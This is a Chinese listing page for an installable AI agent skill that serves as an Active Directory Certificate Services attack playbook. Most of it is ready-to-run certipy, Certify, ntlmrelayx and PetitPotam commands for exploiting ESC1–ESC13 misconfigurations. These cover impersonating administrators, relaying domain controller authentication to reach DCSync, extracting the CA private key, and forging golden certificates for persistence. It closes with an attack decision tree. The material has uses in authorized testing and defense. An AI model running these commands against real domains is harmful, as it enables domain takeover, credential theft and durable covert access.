mcpField
A
active-directory-certificate-services

active-directory-certificate-services

github.com/yaklang安全2.6k3.6k 次安装6 周前更新
代码仓库

关于 active-directory-certificate-services

active-directory-certificate-services 是用于评估和理解 AD CS 攻击路径的安全技能,涵盖证书模板与 CA 配置问题、注册中继和基于证书的持久化,并按 ESC 技术及前置条件组织内容。

主要功能

  1. 01AD CS 枚举
  2. 02ESC1–ESC13 配置缺陷技术
  3. 03向注册端点进行 NTLM 中继
  4. 04基于证书的持久化
  5. 05证书申请与伪造流程

适用场景

  1. 01检查 AD CS 环境中的易受攻击模板
  2. 02评估 CA 权限和注册端点暴露情况
  3. 03梳理基于证书的冒充路径
  4. 04了解 CA 私钥带来的持久化风险

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/yaklang/hack-skills --skill active-directory-certificate-services

安装后在 Claude Code 中输入/active-directory-certificate-services确认已加载。

附带文件ADCS_ESC_MATRIX.md

详细介绍

技能:AD CS 攻击手册 — 专家指南

AI 加载说明:AD CS(Active Directory Certificate Services)专家级攻击技术。涵盖 ESC1 至 ESC13、基于证书的持久化、对注册端点的 NTLM 中继,以及 CA 配置错误。基础模型容易遗漏注册前置条件链和 ESC 条件组合。

0. 相关路由

深入分析之前,可考虑加载:

高级参考

需要以下内容时,也请加载 ADCS_ESC_MATRIX.md:

  • ESC1–ESC13 快速参考表,包含条件、影响和工具命令
  • 各 ESC 变体的单行利用命令
  • 各技术的检测指标

1. AD CS 架构概述

Certificate Authority (CA)
│
├── Enterprise CA (AD-integrated, issues certs based on templates)
│   ├── Certificate Templates (define who can enroll, what EKUs, subject settings)
│   ├── Enrollment endpoints: HTTP (certsrv), RPC, DCOM
│   └── Published in AD: CN=Public Key Services,CN=Services,CN=Configuration
│
├── Template Key Settings:
│   ├── Subject Alternative Name (SAN): who the cert represents
│   ├── Extended Key Usage (EKU): what the cert allows
│   ├── Enrollment permissions: who can request
│   └── Issuance requirements: manager approval, authorized signatures
│
└── Certificate → Kerberos Auth Flow:
    User presents cert → PKINIT → KDC verifies → issues TGT

2. 枚举

# Certipy (recommended — comprehensive)
certipy find -u [email protected] -p password -dc-ip DC_IP -stdout
certipy find -u [email protected] -p password -dc-ip DC_IP -vulnerable -stdout

# Certify (from Windows)
Certify.exe find
Certify.exe find /vulnerable
Certify.exe cas                    # Enumerate CAs

# Manual LDAP query for templates
ldapsearch -H ldap://DC_IP -D "[email protected]" -w password \
  -b "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=com" \
  "(objectClass=pKICertificateTemplate)" cn msPKI-Certificate-Name-Flag pKIExtendedKeyUsage

3. ESC1 — 注册者提供主体名称

条件:模板允许注册者指定主题备用名称(SAN)+ 客户端身份验证 EKU + 低权限注册。

# Certipy
certipy req -u [email protected] -p password -ca CA-NAME -target CA_HOST \
  -template VulnTemplate -upn [email protected]

# Certify (Windows)
Certify.exe request /ca:CA-NAME /template:VulnTemplate /altname:administrator

# Authenticate with certificate
certipy auth -pfx administrator.pfx -dc-ip DC_IP
# → NT hash of administrator

4. ESC2 — 任意用途 EKU

条件:模板具有“任意用途”EKU,或没有 EKU(从属 CA 证书)+ 低权限注册。

# Same as ESC1 exploitation
certipy req -u [email protected] -p password -ca CA-NAME -target CA_HOST \
  -template AnyPurposeTemplate -upn [email protected]

5. ESC3 — 注册代理

条件:模板允许申请注册代理证书 + 另一模板允许代表他人注册。

# Step 1: Request enrollment agent cert
certipy req -u [email protected] -p password -ca CA-NAME -target CA_HOST \
  -template EnrollmentAgent

# Step 2: Use enrollment agent cert to request on behalf of admin
certipy req -u [email protected] -p password -ca CA-NAME -target CA_HOST \
  -template UserTemplate -on-behalf-of 'DOMAIN\administrator' -pfx enrollmentagent.pfx

# Authenticate
certipy auth -pfx administrator.pfx -dc-ip DC_IP

6. ESC4 — 模板 ACL 配置错误

条件:低权限用户对证书模板对象具有写入权限。

# Modify template to become ESC1 vulnerable
# Using Certipy:
certipy template -u [email protected] -p password -template VulnTemplate \
  -save-old -dc-ip DC_IP

# Template is now ESC1 → exploit as ESC1
certipy req -u [email protected] -p password -ca CA-NAME -target CA_HOST \
  -template VulnTemplate -upn [email protected]

# Restore original template (cleanup)
certipy template -u [email protected] -p password -template VulnTemplate \
  -configuration old_config.json -dc-ip DC_IP

7. ESC6 — EDITF_ATTRIBUTESUBJECTALTNAME2

条件:CA 启用了 EDITF_ATTRIBUTESUBJECTALTNAME2 标志 → 任意模板都会成为 ESC1。

# Check if flag is set
certutil -config "CA_HOST\CA-NAME" -getreg policy\EditFlags

# Exploit: request any template with SAN
certipy req -u [email protected] -p password -ca CA-NAME -target CA_HOST \
  -template User -upn [email protected]

8. ESC7 — CA 操作员/管理权限

条件:用户在 CA 上具有 ManageCA 或 ManageCertificates 权限。

# With ManageCA: enable SubCA template (always allows SAN)
certipy ca -u [email protected] -p password -ca CA-NAME -dc-ip DC_IP \
  -enable-template SubCA

# Request SubCA cert with admin SAN (will be denied — "pending")
certipy req -u [email protected] -p password -ca CA-NAME -target CA_HOST \
  -template SubCA -upn [email protected]

# With ManageCertificates: approve the pending request
certipy ca -u [email protected] -p password -ca CA-NAME -dc-ip DC_IP \
  -issue-request REQUEST_ID

# Retrieve the issued certificate
certipy req -u [email protected] -p password -ca CA-NAME -target CA_HOST \
  -retrieve REQUEST_ID

9. ESC8 — 向 HTTP 注册服务进行 NTLM 中继

条件:CA 具有 HTTP 注册端点(certsrv),且未强制使用 HTTPS。

# Setup relay to enrollment endpoint
ntlmrelayx.py -t http://CA_HOST/certsrv/certfnsh.asp -smb2support --adcs --template DomainController

# Coerce DC authentication (PetitPotam, PrinterBug, etc.)
PetitPotam.py RELAY_HOST DC01.domain.com

# DC authenticates → relay → certificate issued for DC01$
# Authenticate with certificate
certipy auth -pfx dc01.pfx -dc-ip DC_IP
# → DC01$ hash → DCSync

10. ESC9–ESC13 — 新近发现的攻击

ESC9:无安全扩展(StrongCertificateBindingEnforcement = 0/1)

设置 CT_FLAG_NO_SECURITY_EXTENSION 时,较弱的证书映射允许冒充他人。

# Change victim's UPN to admin, request cert, change back
certipy shadow auto -u [email protected] -p pass -account victim -dc-ip DC_IP
ESC10:弱证书映射(基于注册表)

与 ESC9 类似,但利用 DC 上的 CertificateMappingMethods 注册表值。

ESC11:向 RPC 注册服务进行 NTLM 中继

将 NTLM 中继到 CA 的 RPC 接口(未设置 IF_ENFORCEENCRYPTICERTREQUEST)。

ntlmrelayx.py -t "rpc://CA_HOST" -rpc-mode ICPR -icpr-ca-name "CA-NAME" \
  -smb2support --adcs --template DomainController
ESC13:OID 组链接(颁发策略)

模板的颁发策略 OID 与某个组关联 → 证书授予该组成员身份。

certipy req -u [email protected] -p pass -ca CA-NAME -target CA_HOST \
  -template ESC13Template
# Certificate grants membership in linked group

11. 基于证书的持久化

黄金证书

拥有 CA 私钥后 → 可伪造任意证书。

# Extract CA private key (requires admin on CA server)
certipy ca -backup -u [email protected] -p password -ca CA-NAME -target CA_HOST

# Forge certificate for any user
certipy forge -ca-pfx ca.pfx -upn [email protected] -subject "CN=Administrator,CN=Users,DC=domain,DC=com"

# Authenticate with forged cert
certipy auth -pfx forged.pfx -dc-ip DC_IP

持久化:有效期持续至 CA 证书过期或 CA 私钥轮换。

ForgeCert(Windows)
ForgeCert.exe --CaCertPath ca.pfx --CaCertPassword "pass" --Subject "CN=User" \
  --SubjectAltName "[email protected]" --NewCertPath forged.pfx --NewCertPassword "pass"

12. AD CS 攻击决策树

Targeting AD CS
│
├── Enumerate: certipy find -vulnerable
│
├── Vulnerable template found?
│   ├── Enrollee can set SAN + Client Auth EKU?
│   │   └── ESC1 → request cert with admin UPN (§3)
│   ├── Any Purpose EKU?
│   │   └── ESC2 → same as ESC1 (§4)
│   ├── Enrollment Agent template available?
│   │   └── ESC3 → enroll as agent, then on-behalf-of (§5)
│   └── OID group link in issuance policy?
│       └── ESC13 → request cert for group membership (§10)
│
├── Write access to template?
│   └── ESC4 → modify template to ESC1 condition (§6)
│
├── CA misconfiguration?
│   ├── EDITF_ATTRIBUTESUBJECTALTNAME2 flag?
│   │   └── ESC6 → any template becomes ESC1 (§7)
│   ├── ManageCA / ManageCertificates permission?
│   │   └── ESC7 → enable SubCA template, approve requests (§8)
│   └── HTTP enrollment without HTTPS?
│       └── ESC8 → NTLM relay to certsrv (§9)
│
├── Weak certificate mapping on DC?
│   ├── StrongCertificateBindingEnforcement < 2?
│   │   └── ESC9 → UPN manipulation + cert request (§10)
│   └── CertificateMappingMethods misconfigured?
│       └── ESC10 → similar UPN abuse (§10)
│
├── RPC enrollment without encryption?
│   └── ESC11 → NTLM relay to RPC (§10)
│
└── Already CA admin?
    └── Golden certificate for persistence (§11)

评论

支持 Markdown